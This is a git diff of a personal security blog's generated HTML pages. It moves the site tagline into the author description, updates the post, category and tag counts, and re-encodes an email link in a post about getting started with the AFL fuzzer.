diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html
index e1445695..d4f9726a 100644
--- a/2000/01/01/hello-world/index.html
+++ b/2000/01/01/hello-world/index.html
@@ -160,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -538,7 +538,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -548,7 +548,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -559,7 +559,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -570,7 +570,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -641,7 +641,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html
index 56bdf495..428575a7 100644
--- a/2018/11/16/BIBA访问控制模型实现(python)/index.html
+++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html
@@ -166,7 +166,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -710,7 +710,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -720,7 +720,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -731,7 +731,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -742,7 +742,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -829,7 +829,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html
index 450c411e..0e446f2d 100644
--- a/2018/12/15/miio-control/index.html
+++ b/2018/12/15/miio-control/index.html
@@ -170,7 +170,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -612,7 +612,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -622,7 +622,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -633,7 +633,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -644,7 +644,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -731,7 +731,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html
index b85f7bfb..8691da0b 100644
--- a/2018/12/23/基于规则引擎发现IOT设备/index.html
+++ b/2018/12/23/基于规则引擎发现IOT设备/index.html
@@ -167,7 +167,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -612,7 +612,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -622,7 +622,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -633,7 +633,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -644,7 +644,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -731,7 +731,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html
index e98e0cb1..50bc1ec7 100644
--- a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html
+++ b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html
@@ -161,7 +161,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -617,7 +617,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -627,7 +627,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -638,7 +638,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -649,7 +649,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -736,7 +736,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
index 4f4f7570..dc086295 100644
--- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
+++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
@@ -174,7 +174,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -740,7 +740,7 @@ Server   -------wire----------|
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -750,7 +750,7 @@ Server   -------wire----------|
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -761,7 +761,7 @@ Server   -------wire----------|
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -772,7 +772,7 @@ Server   -------wire----------|
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -859,7 +859,7 @@ Server   -------wire----------|
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html
index 5ad2bedb..749c4eff 100644
--- a/2019/02/22/qq数据库的加密解密/index.html
+++ b/2019/02/22/qq数据库的加密解密/index.html
@@ -163,7 +163,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -589,7 +589,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -599,7 +599,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -610,7 +610,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -621,7 +621,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -708,7 +708,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html
index a11db581..f29cecfd 100644
--- a/2019/03/16/小米固件工具mkxqimage/index.html
+++ b/2019/03/16/小米固件工具mkxqimage/index.html
@@ -161,7 +161,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -596,7 +596,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -606,7 +606,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -617,7 +617,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -628,7 +628,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -715,7 +715,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html
index 5f7abbde..c2975609 100644
--- a/2019/03/23/auto-send-WX/index.html
+++ b/2019/03/23/auto-send-WX/index.html
@@ -161,7 +161,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -606,7 +606,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -616,7 +616,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -627,7 +627,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -638,7 +638,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -725,7 +725,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html
index 7e60f3e3..fbf5af73 100644
--- a/2019/03/25/Samba-CVE/index.html
+++ b/2019/03/25/Samba-CVE/index.html
@@ -175,7 +175,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -631,7 +631,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -641,7 +641,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -652,7 +652,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -663,7 +663,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -750,7 +750,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html
index 6032f6c3..7ad4b893 100644
--- a/2019/03/28/逆向工程实验/index.html
+++ b/2019/03/28/逆向工程实验/index.html
@@ -180,7 +180,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -734,7 +734,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -744,7 +744,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -755,7 +755,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -766,7 +766,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -853,7 +853,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/04/15/Caving-db-storage/index.html b/2019/04/15/Caving-db-storage/index.html
index e176b6de..be504c2f 100644
--- a/2019/04/15/Caving-db-storage/index.html
+++ b/2019/04/15/Caving-db-storage/index.html
@@ -174,7 +174,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -655,7 +655,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -665,7 +665,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -676,7 +676,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -687,7 +687,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -774,7 +774,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/04/21/XIAOMI-UPnP/index.html b/2019/04/21/XIAOMI-UPnP/index.html
index 0528b997..ede2b12b 100644
--- a/2019/04/21/XIAOMI-UPnP/index.html
+++ b/2019/04/21/XIAOMI-UPnP/index.html
@@ -181,7 +181,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -779,7 +779,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -789,7 +789,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -800,7 +800,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -811,7 +811,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -898,7 +898,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/05/13/PE-file/index.html b/2019/05/13/PE-file/index.html
index 2fcb4477..d37a041c 100644
--- a/2019/05/13/PE-file/index.html
+++ b/2019/05/13/PE-file/index.html
@@ -163,7 +163,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -698,7 +698,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -708,7 +708,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -719,7 +719,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -730,7 +730,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -817,7 +817,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/05/14/pack-and-unpack/index.html b/2019/05/14/pack-and-unpack/index.html
index f06fe293..cce645d8 100644
--- a/2019/05/14/pack-and-unpack/index.html
+++ b/2019/05/14/pack-and-unpack/index.html
@@ -172,7 +172,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -620,7 +620,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -630,7 +630,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -641,7 +641,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -652,7 +652,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -739,7 +739,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/2019/07/01/AFL-first-learn/index.html b/2019/07/01/AFL-first-learn/index.html
index c69b6015..d835d875 100644
--- a/2019/07/01/AFL-first-learn/index.html
+++ b/2019/07/01/AFL-first-learn/index.html
@@ -164,7 +164,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -469,7 +469,7 @@
 
 <hr>
 <h1 id="0x02-AFL快速入门"><a href="#0x02-AFL快速入门" class="headerlink" title="0x02 AFL快速入门"></a>0x02 <a href="http://lcamtuf.coredump.cx/afl/QuickStartGuide.txt" target="_blank" rel="noopener">AFL快速入门</a></h1><p>1）用<code>make</code>编译AFL。如果构建失败，请参阅docs / INSTALL以获取提示。<br>2）查找或编写一个相当快速和简单的程序，该程序从<strong><em>文件或标准输入</em></strong>中获取数据，以一种有价值的方式处理它，然后干净地退出。如果测试网络服务，请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时，也要注释掉校验和验证码。<br>遇到故障时，程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示，请参阅<code>docs/README</code>中的第11节。<br>3）使用afl-gcc编译要模糊的程序/库。一种常见的方法是：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared</span><br><span class="line">$ make clean all</span><br></pre></td></tr></table></figure></p>
-<p>如果程序构建失败，请联系 <a href="mailto:&#x61;&#x66;&#108;&#45;&#x75;&#115;&#101;&#x72;&#115;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#x6f;&#117;&#x70;&#115;&#46;&#99;&#111;&#x6d;" target="_blank" rel="noopener">&#x61;&#x66;&#108;&#45;&#x75;&#115;&#101;&#x72;&#115;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#x6f;&#117;&#x70;&#115;&#46;&#99;&#111;&#x6d;</a>。<br>4）获取一个对程序有意义的小而有效的输入文件。在模糊详细语法（SQL，HTTP等）时，也要创建字典，如<code>dictionaries/README.dictionaries</code>中所述。<br>5）如果程序从stdin读取，则运行<code>afl-fuzz</code>，如下所示：<br><code>./afl-fuzz -i testcase_dir -o findings_dir  -- /path/to/tested/program [... program&#39;s cmdline ...]</code><br>   如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。</p>
+<p>如果程序构建失败，请联系 <a href="mailto:&#x61;&#102;&#108;&#x2d;&#117;&#x73;&#101;&#x72;&#x73;&#x40;&#x67;&#x6f;&#111;&#x67;&#108;&#101;&#x67;&#x72;&#x6f;&#117;&#x70;&#x73;&#46;&#x63;&#111;&#x6d;" target="_blank" rel="noopener">&#x61;&#102;&#108;&#x2d;&#117;&#x73;&#101;&#x72;&#x73;&#x40;&#x67;&#x6f;&#111;&#x67;&#108;&#101;&#x67;&#x72;&#x6f;&#117;&#x70;&#x73;&#46;&#x63;&#111;&#x6d;</a>。<br>4）获取一个对程序有意义的小而有效的输入文件。在模糊详细语法（SQL，HTTP等）时，也要创建字典，如<code>dictionaries/README.dictionaries</code>中所述。<br>5）如果程序从stdin读取，则运行<code>afl-fuzz</code>，如下所示：<br><code>./afl-fuzz -i testcase_dir -o findings_dir  -- /path/to/tested/program [... program&#39;s cmdline ...]</code><br>   如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。</p>
 <p><strong>一些参考文档</strong></p>
 <blockquote>
 <p><a href="http://lcamtuf.coredump.cx/afl/README.txt" target="_blank" rel="noopener">docs/README</a>  -  AFL的一般介绍，<br><a href="https://github.com/mirrorer/afl/blob/master/docs/perf_tips.txt" target="_blank" rel="noopener">docs/perf_tips.txt</a>  - 关于如何快速模糊的简单提示，<br><a href="http://lcamtuf.coredump.cx/afl/status_screen.txt" target="_blank" rel="noopener">docs/status_screen.txt</a>  -  UI中显示的花絮的解释，<br><a href="https://github.com/mirrorer/afl/blob/master/docs/parallel_fuzzing.txt" target="_blank" rel="noopener">docs/parallel_fuzzing.txt</a>  - 关于在多个核上运行AFL的建议<br><a href="http://lcamtuf.coredump.cx/afl/demo/" target="_blank" rel="noopener">Generated test cases for common image formats</a> - 生成图像文件测试用例的demo<br><a href="http://lcamtuf.coredump.cx/afl/technical_details.txt" target="_blank" rel="noopener">Technical “whitepaper” for afl-fuzz</a> - 技术白皮书</p>
@@ -486,10 +486,10 @@
 </ol>
 <hr>
 <h1 id="0x04-AFL-README"><a href="#0x04-AFL-README" class="headerlink" title="0x04 AFL README"></a>0x04 <a href="http://lcamtuf.coredump.cx/afl/README.txt" target="_blank" rel="noopener">AFL README</a></h1><blockquote>
-<p>Written and maintained by Michal Zalewski <a href="mailto:&#x6c;&#99;&#x61;&#109;&#116;&#x75;&#x66;&#64;&#x67;&#x6f;&#x6f;&#x67;&#108;&#101;&#46;&#x63;&#111;&#109;" target="_blank" rel="noopener">&#x6c;&#99;&#x61;&#109;&#116;&#x75;&#x66;&#64;&#x67;&#x6f;&#x6f;&#x67;&#108;&#101;&#46;&#x63;&#111;&#109;</a></p>
